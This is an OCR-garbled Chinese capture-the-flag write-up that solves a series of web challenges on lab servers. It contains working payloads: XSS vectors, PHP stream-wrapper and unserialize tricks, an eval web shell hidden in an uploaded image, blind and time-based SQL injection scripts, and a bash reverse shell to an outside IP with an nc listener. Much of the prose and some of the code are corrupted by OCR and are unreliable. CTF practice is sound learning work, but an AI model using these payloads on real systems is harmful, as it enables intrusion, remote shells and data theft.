<script>
var s=""; document.getElementById('s"').innerHTML = s;
</script>

WN -

RERMNBRZEsLE R, HEEEhRELHWIE

http://103.238.227.13:10089/? id=xxxx

RGABSER, BRBAMEIXRENE.. ..
SRIGRATIE R EAILIE, KILAT LA 2] payload

http://103.238.227.13:10089/?id=\u@@3cimg src=1 onerror=alert(_key )\u@@3e



NEEWE <AMT, M s, B, WAKRR T ACA, Bt HX 5.

http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onclick=alert(_key_)\u003e

AT
never give up

HANFREAE R, FI2EFEEN, RIRRF1p.htm? RER—T, RWEFMRERLIEZET . REHburp

Request Response
Raw | Headers | Hex Baw | Headers | Hex [ HTML | Render

SET /test/lp.html HTTR/1.1 Last-Modified: Mon, 15 May 2017 15:27:45 GMT
fost: 120.24,86,145:8006 Connection: close

Jser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xB86 64; rv:54.0) Gecko/20100101 Firefox/54.0 Content-Length: 1371

\ccept: text/htnl,application/xhtml+xul,application/xnl;q=0.9,%/%;q=0,8
\ccept-Language: en-US,en;g=0.5 =HTHL=>

\ccept-Encoding: gzip., deflate <HEAD=>

lonnection: close <SCRIPT LANGUAGE="lavascript"=
Jpgrade-Insecure-Requests: 1 <l--

T

var Words

="%3Cscript:3Ewindow. Location. hrefs30%27http%3A/ /v . bugku. com: 27%:3B%3C/ script®3E:20%04%3C
%21 -« ITLy JTHCaWYLH] gl Hj ELHj RFROVUITVCITI3aW0LH] cL NUQTH] KLHEELNOT1T HEELHD1 0 ZWFk ZXT1Hj gLHj dHb
2NhdGLvbiUuz0SUyHEhLbGxvLNnBocCUzRMLk JTHEHSUY Ny Uy 0SUZ0ilwQSUWOWV4aX0LH] glHj KLHOTLTHEELNOQLHEE
LHj RpZCUZRCUYNFOHRVELNUTLH] dpZCUy Ny ULRCUZ01iUwQSUyNGELHOOLH] RFROVUITVCITISYSUy NyULRCUZ0ilw 0
SUyNGT1HOQLHj RFROVUITVCITI3YilyNyU1RCUZ0iUOWLm ITI4C3RyaXBycylly0CUYNGELHKHLHj culTTI3ITISITT
53TBBITACITBBITASZWHoby Uy HCUyN25y 3T Twhn81 Hj Buby Uy HG5v.1TTwbn81 Hj BubyUyH65y JTT31THCITBBITAS
myedX JuITIwITHCITBBITAEITBBITIOZGFOYSUYHCUZRCUyHEBmaWx1 X 2d1 dF9j b2502WS0cy Uy 0CUyNGELHkHLHG d
yITI3ITISITHCITEBaWYLHj gLHj RkYXRhITHE ITHEITIy YnVna3ULH] BpcyUyHGEL Hj BuaWL ITIwcGxhdGVnb3 3t 3
TIxITLy ITIwYWSk ITIwITIOaWOLHOOLHOOW ITIwYWSk ITTwc3RybGVuITI4 ITIOViUy0SUzRTUL Hj BhbmO1Hj BlemV
nasUy0CUyHj ExHSUyHi5zdW IzdHILHj gLHj RiITIDHCUy0zEL Hj KLHKHLHj IxHTEOJTIy JTISITIwyWSkITIwc3Vic
3Ry JTT4ITIOYily0zALHkHxITISITIx ITHENCUY0SUWOSUS 04 UwSUWOX JLcXVpemULH] gLHj JmNGwy Y THRLnR4dCU
yHiUy0SUz0iUw0SU3RCUWOWVsc2ULHEELHBTL HEELHD L wcml ud CUyHCUyHmSL dmVy JTTwbnV2ZXT1Hj BuZXZL cillyH
GdpdmU Hj BLCCUYHCUyHSUYHSUYHSUyHi UZz04 L SU! 05U OSIMOSUZRIUZRO% 305 3D - -5 3E"

function OutWord()

{

var HewWords;

NewWords = unescape(Words);
document . write{HNewWords) ;

}
outWord();
ffome

</ SCRIPT=
</ HEAD=
<BODY>
=/BODY=
</HTML=

Py

i R 4R JEurldecode— T, KIL—/ base64i )%, % )5 H#t1Turldecode, 158%]—Boc g



if(!$_GET['id'])
{
header('Location: hello.php?id=1");
exit();
}
$id=$ GET['id'];
$a=$ _GET['a'];
$b=% GET['b'];
if(stripos(%$a,'."))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a, 'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1
{
require("f41l2a3g.txt");
}
else
{
print "never never never give up !!!";

}

NMNMNNAA A A A A A A
ON VXN RWNOPINOTRWN =

KERRANT .. —ERXGE, BEEREZEEVRBALL...

< C | (@ 120.24.86.145

flag{tHis_1iS_THe fLaG}

flag{tHis_iS_THe_fLaG}



ERIEMRA AR 2RI RER

1. B #8Kid==0 He==FfFH%
28
$data = @file_get_contents($a, 'r');
$data=="bugku is a nice plateform!"
EAFIF T File_get_contentsHidstE, L Rlphp://inputiIiH{®, file_get contentsXHFHMN, REKak Aphp

3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

strlenXt%e0 &, Meregixi%oo®ili, REi&Eb=%00+K T 4NL K BI AT

N2o©ONO A WN =

@ Load URL | http://120.24.86.145:8006/test/hello.php?id="flag"
. &a=php:/{input
% SPUEURL | gi or0023333

v) Execute
Enable Post data [ |Enable Referrer

I bugku is a nice plateform!

flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

B BefEF 127 B 2R

s
$user = $ GET["txt"];
$file = $ GET["file"];

$pass = $_GET["password"];

if(isset($user)8&&(file_get_contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";

}

-->



N2o©ONOO A WN =

RriE

INT v| = @ SQLv XSS5v Encryptionv Encodingv Otherv
@ Load URL | http://120.24.86.145:8006/test1/index.php?

. txt=php://input
% splitURL &file=hint.php
») Execute |

% Enable Post data [ |Enable Referrer

Post data " welcome to the bugkuctf
hello friend!

RIBAT 2K, FH—TXHEE, ARMT

@Load URL | http://120.24.86.145:8006/test1/index.php?
. txt=php:/finput
& split URL &file=php://filter/convert.base64-encode/resource=hint.php

+) Execute
Enable Postdata [ |Enable Referrer

Post data welcome to the bugkuctf

hello friend!
PD9waHAgIAOKICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQoglCAgcH

base64f# %15 2

<?php

class Flag{//flag.php
public $file;
public function _ tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}

?>



PRI OCONOO R WN =

RILT LHH__toStringFfF, ERKAMAKKIFAW ! &2 LRindex phpitilE R, TREFRE

@ LoadURL | http://120.24.86.145:8006/test1/findex.php?
8 split URL txt=php://input
2Pl &File=php://filter/convert.base64-encode/resource=index.php

+) Execute
Enable Post data [ |Enable Referrer

Post data welcome to the bugkuctf

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt, 'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "&, efkcZ°3® " 3°+c»™3% flagd“|";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
¥
}else{
echo "you are not the number of bugku ! ";

}

?>

N2o©ONOO A WN =
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14
15
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17
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19
20

AR PRI g <k toString/@ . I 4Mi&— TFpasswordlE, BHOEMULEIH

@ Load URL | http://120.24.86.145:8006/test1/index.php?

_ txt=php://input
&% SPUEURL | g cile hint.php
») Execute | &password=0:4:"Flag™:1:{s:4:"file";s:8:"Flag.php";}r|

Enable Post data [ |Enable Referrer

Post data welcome to the bugkuctf

hello friend!

goad

stestl/index.phpttxt=php://input&file=hint.php&password=0:4:%22Flag%22: 1 {s:4:%22T11e%22; 5 - Server: nginx

8:%22flag. php%22;F HITP/1.1 Date: Thu, 03 Aug 2017 09:49:30 GMT
Host: 120, 24,86,145; 8006 Content-Type: text/html

User-aAgent: MozillasS.0 (X11: Ubuntu; Linux x88 64; rv:S4,0] Gecko/20100101 Firefox/54.0 Connection: close

Accept: text/shtml,applications/xhtml+xml,application/xml ;g=0.9, ¥/*%;q=0.8 Content -Length: 379

Accept -Language: en-US,enig=0.5

Accept -Encoding: gzip, deflate helle friend!<br= <=?php
Content-Type: application/x-www-form-urlencoded Ffflagiphp_is_the_best_languagel}
Content-Length: 23 ?=<br=good

Connectian: clase

flag{php_is_the_best_language}

) — )

BRI —a)1E, —FRRUAERIME EERXAN—AERE, BERKIARE, BARAUEENAK, =
R http://120.24.86.145:8010/?s=phpinfo () KILAT AFIH o
MG EF, KIWA —hG, system(“Is”)iLHR, AIRER BRI A AR RS TR, F2&3R3 T Hphpikit
XA FR 523333

http://120.24.86.145:8010/?s=print_r(glob("*"))



@ Load URL | http://120.24.86.145:8010/?s=print_r(glob("*"))
% split URL
») Execute

“|Enable Post data [ |Enable Referrer

Array ( [0] == conn [1] == flag.txt [2] => index.php [3] == xuan.php )

L EUflag bABP AT, 224K print r(file (flag.txt)) A A LA 3R 3] show_sourcef) 5 ik:

http://120.24.86.145:8010/?s=show_source("flag.txt")

BUGKU{bugku_web_009801_a}

Pl e il 1
B SeR BB BIVRRY

<?php
highlight file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'Flag{XXXXXXXXXXXXXXXXXX}";
if (isset($_GET['uname']) and isset($_POST[ 'passwd'])) {
if ($_GET['uname'] == $_POST[ 'passwd'])
print 'passwd can not be uname.';
else if (shal($_GET['uname']) === shal($_POST[ 'passwd'])&($_GET['id']=="margin'))
die('Flag: '.$flag);

else

print ‘sorry!’;

?>

PRI NO U WN =



14
15
16
17
18
19

FHBEETERT ==, XNMEHRERATRRN, FA===RTEMNES, HE&shal®EE MR, e
¥H, FROTFHWESRag

@ Load URL | http://120.24.86.145:8002/web7/
. ?id=margin
% splitURL &uname[]=233
») Execute

Enable Post data [ |Enable Referrer

Post data ( passwd[]=332
flag{HACK_45hhs_213sDD}
1
Web8
XAMEEBRE, AT RIESE SR K phpfile_get contentsi4tEal LLE H Z . REEHENTE
Flflag

@ Load URL | http://120.24.86.145:8002/web8/?

. ac=1
& Split URL &Fn=php://input
+) Execute
& Enable Post data [ |Enable Referrer
Post data

1

BRI E? BIREAARR .

flag{3cfb7a90fcode31}

1

FAF? IEN?

AEEBERARIENREXKNMA, BRREM. EREAERASW. . O AE RSB RT, &
SFFTIT T MR 2R



<?php
highlight_file('2.php');
$key= 0 KEY{********************************} u ;
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}

?>

oONO O OON -

BB KRB ) 7 R preg_match i Y 40K, X BT EUE— T 2 B

1 REAERTHRNFRHEEEFA, key
2" REEBTFH
3 VREFE—AR—FIFHER R RE, BT — M FRHEEEEX
4NRET
5.[a-ARKa-zH HERE DT
6.[Lpunct[RRER—NF4F, BEEMFS
7 IRE RN G ABUR
8 {4-THRR[0-9]H H7E 5 HBLK R H 2 4-T IR

RIEBATE N BAELEE— Tl T

http://120.24.86.145:8002/web10/?id=keyssssskey4567key:/s/ssssskeya@

KEY{@x8SIOPh55@afc}

1

4 0
AEERANNE, RIEJHdirsearchA#—TkRE, KMEF

arget: http://120.24.86.145:8002/web13/

10:41:12] Starting:

R G A Erobots.ixt



@ Load URL | http://120.24.86.145:8002/web13/robots.txt
% split URL
+) Execute

[ JEnable Postdata [ |Enable Referrer

User-agent: * _ _ o o
Disallow: /resusl.php sdi el qq oW rebad

EFresusl.php

YSEERERIMER T, A AaBiE? ? 2 RERBRFBT —T, Bk gadmin.. #HiEx=admin.. g1, ..

@ Load URL | http://120.24.86.145:8002/web13//resusl.php?x=admin
¥ split URL
(») Execute

[TJEnable Postdata [ |Enable Referrer

flag(ctf_0098_lkji-s)

1

3K getshell

B2 %00/) 717 R BT, EREM, KT RA, BEINMEET — TREREE.
HARREA—-T LEEA



POST fwebS/index.php HTTP/1.1

Host: 120.24.86 145:8002

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x85 64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml ;g=0.9,%/%;q=0.8
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data:

boundary=-------------ioian 21452903801982016093222251034
Content-Length: 340

Referer: http://120.24,86.145:8002/web3/index.php

Connection: close

Upgrade-Insecure-Requests: 1

- -21452903801982016093222251034
Content-Disposition: form-data; name="file": filename="flag|png"
Content-Type: image/png

----------------------------- 21452903801 98201 6093222251034
Content-Disposition: form-data; name="submit"

L

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 08 Aug 2017 03:17:23 GMT
Content -Type: text/html

Connection: close

Content-Length: 387

<html=>

<body=>

=form action="index.php" method="post" enctype="multipart/form-data"=
Hy name is margin,give me a image file not a php<br=

<br=

<input type="file" name="file" id="file" /=

<input type="submit" name="submit" wvalue="Submit" /=

=/form=

Upload Success<br=Stored im: <a href='upload/20170808111723 248.]ipg
target='_blank' =upload/20170868111723 948. jpg<hr /=</body=
</html=

.Sl.‘lt.“l‘ff ----------------------- 21452903801982016093222251034- -
RI BRI, RiAEEflename Hphpk
php2, php3, php4, php5, phps, pht, phtm, phtml ¥R T iE 2 &4 5 ...
S RKEREE, LI EMKE content-Type: multipart/form—data; BURKNMNEZEHIER, BN
Content-Type: Multipart/form-data; , SREH—N— MK, KBphp5a] LLFIH

POST /web8/index.php HTTR/1.1

Host: 120.24.86.145:8002

User-Agent: Mozilla/S.0 (X11: Ubuntu: Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html.application/xhtml+xml.application/xml :g=0.9,%/*;q=0.8
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip. deflate

Content-Type: Multipart/form-data:

boundary=--------------------------- 21452903801 98201 6093222251034
Content-Length: 340

Referer: http://120.24,86.145:8002/web3/index . php

Connection: close

e

HTTR/1.1 200 OK

Server: nginx

Date: Tue, 0GB Aug 2017 03:25:52 GMT
Content-Type: text/html

Connection: close

Content -Length: 268

<html=

<body=

=form action="index. php" method="post" enctype="multipart/form-data"=
Hy name is margin,give me a image file not a php<br=

Upgrade-Insecure-Requests: 1 <br=
<input type="file" name="file" i1d="file" /=

............................. 21452803601 98201 6093222251034 <input type="submit" name="submit" wvalue="Submit" /=

Content-Disposition: form-data; name="file"; filename="flag.phpS =/form=
Content-Type: 1image/png
23333 KEY{bb35dc123820e}
-- - - 21452903801982016093222251 034
Content-Dispositio form-data; name="submit"
Submit
----------------------------- 2145290360198201 6093222251034 - -
KEY{bb35dc123820e}

flag.php
SHFWEE, REAFEHIRZESE M. Rorhintke2 BREH. REHRA

http://120.24.86.145:8002/flagphp/?hint=0

W UAR R ? EAMRNFAZNEIRARERmM? ? ?
GEEIN AT



<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE[ 'ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE_ );
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
¥
$KEY="ISecer:www.isecer.com';
?>

O©CoOoO~NOOOPR~,WN -



26
27
28
29
30
31
32
33
34
35

—FF G LA R HE 1secer:www. isecer.con RIFFIN—THEHE T, HREFEFERAAHK.. REHE—T, KAXA
SKEYRBEFEFH ), FrAETEHME N %2 ERITHE, e LENREIMRETSE? 2 2 ?
I A burp¥ & J5 i _E Cookief# B 7]

Cookie: ISecer=s:0:"";

flag{unserialize_by virink}

web15
Y %R EE B

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
¥

$ip_arr = explode(',"', $ip);

return $ip_arr[0];

$host="1ocalhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);



NNMNMNMNMNMNNMNMNMNDNNAA A A A A @
NO O RON2 OOV RN 20N RWN

FREHBEARE, BEFRANEEE AMAEENEAFEREWURD) (BAERRLEENsert+)

WA LR TS R IR T AN ' + (select case when (substring((select flag
}y from 1 for 1)='f') then sleep(5) else 1 end) and '1'="1§K
Query OK, 1 row affected (5.81 sec)

mysql> |

ARAR S 56 NS 54 165 B2 B3 NPT A Fl case when......then #1& 5 4]
IR 5 A SR A P
XA FEAELKE FHA, REERLEX
http://blog.csdn.net/qq_35078631/article/details/54 773769

XERCEANMAIE, HRBERRAAENE T, BIRERERES BEIH EIEER.


http://blog.csdn.net/qq_35078631/article/details/54773769

import requests
import string
words = string.lowercase + string.uppercase + string.digits
url = 'http://120.24.86.145:8002/web15/"'
answer=""
for length in range(1,100):
flag=0
for key in words:
data = "'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then s
headers={
"X-FORWARDED-FOR": data
}
try:
res=requests.get(url,headers=headers,timeout=5)
except Exception as e:
answer+=key
print answer
flag=1
break
if flag==0 and answer!=
break;

print answer

NNPMNNAAA A A A A A A
XNV NoOORWNOORNOOREWN =

flag{cdbf14c9551d5be5612f7bb5d2867853}

X2

BEHARE, F12RH T JHEY A upload.phpifi B../upload/ml i, JE—FBE XM E4E, BERBEEKIRREX
440,40 T B ZENetwork 8.3 7 x4



¥ Response Headers view source
Content-Encoding: gzip
Content-Length: 905
Content-Type: text/himl; charset=UTF-8
Date: Tue, 08 Aug 2017 07:46:05 GMT
Keep-Alive: timeout=38
Server: Apache/2.4.10 (Debian)
Tip: &#105;5#110 ;5499 ;64108 ; &#117 ;&#100; 54101 ; &#46; &#112 ; &4#104; £#112
Vary: Accept-Encoding

W AMtip#E SO Rt include.php BBRATMILB X HEEEHER—T
gE B2k T —HE R IR BINANVEN . [8 )5 _EAE ) BERIE ..
FEEANG (FELEFEFE>ITMMERLR, BEESHRAENT)
RITIET <ophp M 2> XEAHMPRGE B

<?=@eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>

—_

1 L L 1 L o L L
FOST /index.php?file=upload.php HTTF/ 1.1 x HTTF/Ll.1 200 OK
Host: 47.93.180.246:491E6 r Date: Tue, 05 Sep 2017 13:21:42 GNT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:S55.0) Gecko/20100101 Firefox/55.0 Server: Apache/2.4.10 (Debian
Accept: text/html,application/xhtmltxnl, application/xml;q=0.9,*/*;q=0.8 Vary: Accept-Encoding
Accept-Language: zh-CHN, zh;q=0.8,=n-US;q=0.5, =n; q=0.3 Content-Length: 554
Accept-Encoding: gzip, deflate Keep-Alive: timsout=5, max=100
Content-Type: multipart/form-data; boundary= 162534950147 16 Connection: Keep-Alive
Content-Length: 211 Content-Type: text/html; charset=UTF-8
Referer: http://47.93.190.246:49166/ index.php?file=upload.php
Connsction: kesp-alive <!-- upload.php -->
Upgrade-Insecure-Requests: 1 <html>
<head>
16253495014716 <meta charset="utf-g"/>
Content-Disposition: form-data; name="file"; filename="11l.png" <meta http-equiv="X-UA-Compatible" content="IE==dg=">

<meta nawme="viewport" content="width=device-width, initial-scale=l, max
<title>UPLOAD</Litle>

</head>

<form action="" enctype="multipart/form-data"” method="post"

name="upload”>file:<input type="file" name="file" /><br>

<input type="subwmit" value="upload" /></form>

0O00jpyg gif png OOOO0 OOOOOOOO100KiB<brs>

file upload successful!Save in: upload/201709050121425643.png

/

W, #RJ5 Hupload.phps R A LLphpiz 4T, BT LA B Hinclude.php(index.php)H Kifile?s & 3 & upload H 3 T KB F XX
1

Content-Type: image/jpeg

<?=feval (§ POST['cmd']);

@ Load URL | http://47.93.190.246:49166/index.php?file=upload/201709050119525905.png

% split URL
» Execute \
Enable Post data [ | Enable Referrer \

Post data cmd=system('ls"); \

about hello.php index.php this is th3 F14g 154f65sd4g35f4d6f43.txt upload upload.php

R BRI BT

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

sqliE A2



B4R T — Fadminfiladmin, &I Rpassword4s iz

POST /webZ/login.php HTTP/1.1 A HTTP/1.1 200 OK

Host: 120.24.86.145: 8007 P Server: nginx

User-Agent: Mozillas/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0 Date: Tue, 0B Aug 2017 08:18:29 GMT

Accept: textshtml,applications/xhtml+xml,application/xml;g=0,9,%/%;q=0,8 Content-Type: textshtml;charset=utf-5

Accept-Language: en-US,en;g=0.5 Connection: close

Accept-Encoding: gzip, deflate Expires: Thu, 19 Mov 198l 05:52:00 GHT

Content -Type: application/x-www-form-urlencoded Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=0
Content -Length: 24 Pragma: no-cache

Referer: http://120,24,86,145:8007/web2/index php Content-Length: 81

Cookie: PHPSESSIC=atjud3k3m4jfn99qblfresneksdkbh7s

Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=adnin

<script> alert('password error!!@_@');parent.location. href='index.php'; </script=

BB adminiX M usernameit 2 T ETE -
MR —TFHEANE, fEusernamed i E 4 RIRRKINIEEFFF!

HTTR/1.1 200 0K

Server: nginx

Date: Tue, 08 Aug 2017 03:20:01 GMT

Content-Type: text/html;charset=utf-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 84

=script= alert('illegal character!!@ @');parent.location. href='index.php'; =/script=

FHREN R fEusername, (ERDIE THRLIE? K T HFE MBI IR, ERIEH T R4E. XK 2 RATR R

Wit 1t DS_Storedit R RMIGMIE? ? ?
HREFBIET, M ETH—/ds_store_exp.pyLHE, FH TRIEH

http:fj12@.24.86.145:80@7;web2[.55_5t0re
http://120.24.86.145:8007 /web2/login.php

http:/f126.24.86.145:8007 /web2 findex.php
http: (/120.24,86.145:8007/web2 (flag
http://120.24.86.145:8007 /web2/admin

ERpiEflagh.. B

flag{sql_iNJEct_comMon3600!}

HEHAMTARAMT —T, BRESRKIAT . SERE. FTMEwebEBH, FIBMEAEEHE! Bk —

[16:31

e | 1!

:35] Starting:

http://120.24.86.145:8007 fweb2 fadmin/
../index.php
-> ..findex.php
-> ..findex.php
-> http://120.24.86.145:8007 fweb2/css/
-> http://120.24.86.145:8007 /web2/fonts/
-> http://1206.24.86.145:8007 /web2/image

-> http://120.24.86.145:8007 /web2/incl

-> http://120.24.86.145:8007/web2/js/



DERR..
login2

BHRER TEXRNAME, £dRa£union, FIUASRTEEN, NEREKBREHLEAR.. HEKRE
M E R o o ik

username="' union select md5(1),md5(1)#&password=1

1

— 15 T passwordit £ usernamefimd5in&E, =T NH 4 RFEF? FHH...

<script=alert('login success!');parent.location. href='index.php';</script=

RIEBA MR, BBV REMIR T . R ABEIET ... #5E...
K% T B[] 4k 4t

HIEERA
BARERUNIRSS
‘Apache | T

LR T IANRIUL R AT RESEPAT R, BARXANREERER, FrCABRRBATT AR HE S Kshell T, IAFATT L
R HshelbkE, XBHER%S T —H R #shellILEH, BEARMRRTREXES, WilpupilliErES, RAMNcHZER
Pshell, JF¥ET
B SR IR S 2% b Fnc i Wi 0

nc -1 -p 8080 -vvv

1

GAZD L YN

|bash -i >& /dev/tcp/23.106.128.52/8080 0>&1

1

RIEER IR #ishell BT T ! ! ZEHRERITT



-1 -p 8080 -vwv

or directory

SKCTF{Uni@n_@nd_c@mM4nD_exEc}

login3
RARBEEMBEET, HENT

username=""(1)"1#&password=123

FHEEN, FUREE, REfuz—KRKATEZK, AFESsET, S 7T= A<>Rd, mysqlillif

mysql> (select(ascii(mid((select(flag)from(flag))from(1l)))<>102));

B e e e T e +
| (ascii(mid((select(flag)from(flag))from(1)))<>102) |
B e e T T e +
| o |
B e e T e +

1 row in set (0.00 sec)

mysql> (select(ascii(mid((select(flag)from(flag))from(1l)))<>103));

B e e T T +
| (ascii(mid((select(flag)from(flag))from(1)))<>103) |
B e T T +
| 1
B e e T T +

1 row in set (0.00 sec)

PO o0ONOUO R WN =



14
15

X5 ELEEA P

#!/usr/bin/env python
import requests,string,hashlib,re
url="http://47.93.190.246:49167/"'
sss=string.digits+string.lowercase
headers={
'Host': '47.93.190.246:49167"',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"',
"Accept’': '"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
'Accept-Encoding': 'gzip, deflate’,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length':"' 87',
'Referer':' http://47.93.190.246:49167/",
'Cookie': 'td_cookie=18446744071856012820",
'Connection':' keep-alive',
'Upgrade-Insecure-Requests':" 1°'
}
answer=""
for i in range(1,50):
flag=0
for j in sss:
postuser=""'"(select(ascii(mid((select(password)from(admin))from(%d)))<>%d)) 1#"%(i,ord(j))
data = {'username':postuser, 'password':'admin'}
html = requests.post(url,headers=headers,data=data) .text
html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
if 'username does not exist!' in html :
answer+=j
flag=1
print answer
break
if flag ==
break

print 'password is ',answer

[ \NO I |\ RS S N NS L N N (L (L (. N
S v VNoOORARWNOOPNOORWN =
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23
24
25
26
27
28
29
30
31
32
33
34

2 Ja18 Hpasswordf@ %8 2% 4, BFiE 2lflag

51b7a76d51e70b419f60d3473fb6f300

E=RTh !

BTV - 51b7a76d51e70b419f60d347 3600
R - sketf123456

BNEERY - md5

A - 1280

SKCTF{b1iNd_SQL_iNJEctien!}

WEHEN

RIRMAEN, ERLIET 8- K, HRREENTET T, BRBNFEmMysqiIRE, HBTHRE
BiTH! FEFSERT!

http://103.238.227.13:10088/?id=1%0aand%@aextractvalue(1, concat(0x7e, (select%0a@@version),0x7e))

1

RRINREE, RJEX BB, BTN MEFHload fileli%l, EEBRBANFRS R ELAMEETRT), RE
WERLAMBESENSERT —TERIER, EATHA, @R FRFFTEM LA hexA 17?7 2 2 BFE TR

HIAR. ..
S EFEEERT ! ! SBCCH R R B I in |k hex
payloadin

http://103.238.227.13:10088/?id=1%0aand%0a(extractvalue(l,concat(0x7e, (hex(load_file(0x2f7661722f746

1

RGBT, BA AN E extractvalueth st & R e E3207, £idhex/a 1t 5t £ bk & £ 15 2175 F i 16£L,
RIBELTI?
HEL ERXANRREEW T, RO BB A, B ARG H strsub iR B sl E !



http://103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f76617

RIEMRBRIMBZEHRE M T | BIEREXHmT

<?php fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsafdsafsdafdsafasehfdsg9Flag:"7249f5a7f

—_

B 2lflag, MSLREFE! KK, flagiN_2KR...

Flag:”7249f5a7fd1de602b30e6f39aea6193a™

logind

B RcbeT W RFER T, XA —HEKE, MFTI—T
HAEAMEZ, RISCHME

] Starting:

TETVimRE — T RIAT 18 3]

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1l/DTD/xhtm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");

1
$(".username").blur(function() {

$(".user-icon").css("left","opx");

1
$(".password").focus(function() {
$(".pass-icon").css("left","-48px");

1
$(".password").blur(function() {

$(".pass-icon").css("left","opx");

1

1
</script>
</head>



<?php
define("SECRET_KEY", file get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv="";
for($i=0;%$i<16;%$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION[ 'username'] = $info[ 'username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE[ 'cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE[ 'cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain).”"') can't
$_SESSION[ 'username'] = $info[ 'username’];
}else{
die("ERROR!");
¥

}

function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$ SESSION[ 'username'].'</p>';
echo '<p>Only admin can see flag</p>';
¥
echo '<p><a href="loginout.php">Log out</a></p>"';
¥
if(isset($_POST['username']) && isset($_POST[ 'password’'])){
$username = (string)$ POST['username'];
$password = (string)$ POST[ 'password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username, 'password’'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>



<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<hl>Login Form</hl>
<span>Fill out the form below to login to my super awesome imaginary control
</div>
<div class="content">
